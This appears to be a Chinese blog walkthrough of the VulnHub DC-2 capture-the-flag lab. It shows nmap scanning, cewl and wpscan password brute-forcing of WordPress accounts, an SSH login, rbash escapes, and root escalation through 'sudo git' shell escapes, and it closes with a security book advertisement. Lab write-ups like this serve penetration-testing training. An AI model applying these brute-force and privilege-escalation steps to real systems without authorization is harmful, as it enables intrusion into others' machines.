点击上方蓝字关注我们
乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
乌鸦安全拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经授权,不得用于其他。
01 靶机信息
靶机信息:
https://www.vulnhub.com/?q=dc-2
Name: DC: 2
Date release: 22 Mar 2019
Author: DCAU
Series: DC
Web page: http://www.five86.com/dc-2.html
靶机描述:
DESCRIPTION
Much like DC-1, DC-2 is another purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing.
As with the original DC-1, it's designed with beginners in mind.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
Just like with DC-1, there are five flags including the final flag.
And again, just like with DC-1, the flags are important for beginners, but not so important for those who have experience.
In short, the only flag that really counts, is the final flag.
For beginners, Google is your friend. Well, apart from all the privacy concerns etc etc.
I haven't explored all the ways to achieve root, as I scrapped the previous version I had been working on, and started completely fresh apart from the base OS install.
02 信息搜集
因为打开之后无法获取有效的ip地址,这里配置为NAT模式
使用nmap进行扫描
nmap -sS 192.168.238.0/24
扫描到存在一个
192.168.238.19
继续扫描端口
开放了80和7744端口,直接访问ip地址,跳转到域名地址
这里可以看到无法跳转dc2 的主机,这里应该需要配置hosts文件
2. 修改hosts文件
先将文件备份
再进行修改
此时浏览web就显示正常了
03 进后台
网页一眼看过去就是wordpress的,很经典
在这里提示有一个flag1
应该是需要使用工具cewl
将网页的信息都作为关键词来使用
cewl dc-2 > password
然后使用wpscan来爆破用户
--enumerate //列举枚举
u //用户
-P //指定用于暴力破解的口令字典
开始测试:
wpscan --url http://dc-2 -e -P password
跑出来了三个用户:
admin
jerry
tom
而且也跑出来了密码
[ ] - jerry / adipiscing
[ ] - tom / parturient
众所周知,wp的后台就是wp-admin
啊这,失算了
还是再跑下吧
nikto目录遍历
nikto -host dc-2
发现了,原来是我记错了。。。。
使用刚刚爆破的用户名登录
在这里发现了另外一个flag2
那就尝试登录ssh吧
04 ssh
[ ] - jerry / adipiscing
[ ] - tom / parturient
jerry账号无法登陆成功:
但是tom用户是可以登陆的:
在这里可以看到好多命令无法使用:
vi
:set shell=/bin/bash
:shell
export PATH=/bin:/usr/bin:$PATH
export SHELL=/bin/bash:$SHELL
05 绕过rbash 获取flag3
BASH_CMDS[a]=/bin/sh;a
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
06 获取flag4
现在寻找flag4,只需要使用切换用户到jerry试试
[ ] - jerry / adipiscing
[ ] - tom / parturient
Good to see that you've made it this far - but you're not home yet.
You still need to get the final flag (the only flag that really counts!!!).
No hints here - you're on your own now. :-)
Go on - git outta here!!!!
07 提权root获取flag
提权的方法可以参考:
https://www.cnblogs.com/zaqzzz/p/12075132.html
这里有提示,使用 git 提权。 git提权方式:
法1: sudo git help config
!/bin/bash或者!'sh'完成提权
法2: sudo git -p help
!/bin/bash
法1:sudo git help config
获取flag
法2: sudo git -p help
新书推荐
过去网络安全距离我们很远,只要没有被攻击便可以忽略,而现在如果存在安全漏洞且一不小心被成功攻击,就可能导致很多公司财务等重要数据被勒索病毒感染,造成巨大经济损失!近几年来,国家展开了护网行动,加上各种机构经常组织CTF比赛等,网络安全越来越火,人才缺口也越来越大。“会渗透,是懂安全的基础;会漏扫,是懂渗透的基础;去实战,是检验能力的标准”此书可以给网络安全领域的专业人士或想入门的人士答疑解惑,是您必不可少的一本专业图书! 本书从网络攻防实战的角度,对Web漏洞扫描利用及防御进行全面系统的研究,由浅入深地介绍了在渗透过程中如何对Web漏洞进行扫描、利用分析及防御,以及在漏洞扫描及利用过程中需要了解和掌握的基础技术。
全书共分10章,包括漏洞扫描必备基础知识、域名信息收集、端口扫描、指纹信息收集与目录扫描、Web漏洞扫描、Web常见漏洞分析与利用、密码扫描及暴力破解、手工代码审计利用与漏洞挖掘、自动化的漏洞挖掘和利用、Web漏洞扫描安全防御,基本涵盖了Web漏洞攻防技术体系的全部内容。书中还以一些典型漏洞进行扫描利用及实战,通过漏洞扫描利用来还原攻击过程,从而可以针对性地进行防御。
点击上方链接,更多优惠等你哦~
tips:加我wx,拉你入群,一起学习
扫取二维码获取
更多精彩
乌鸦安全
原文始发于微信公众号(乌鸦安全):vulhub之DC-2
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论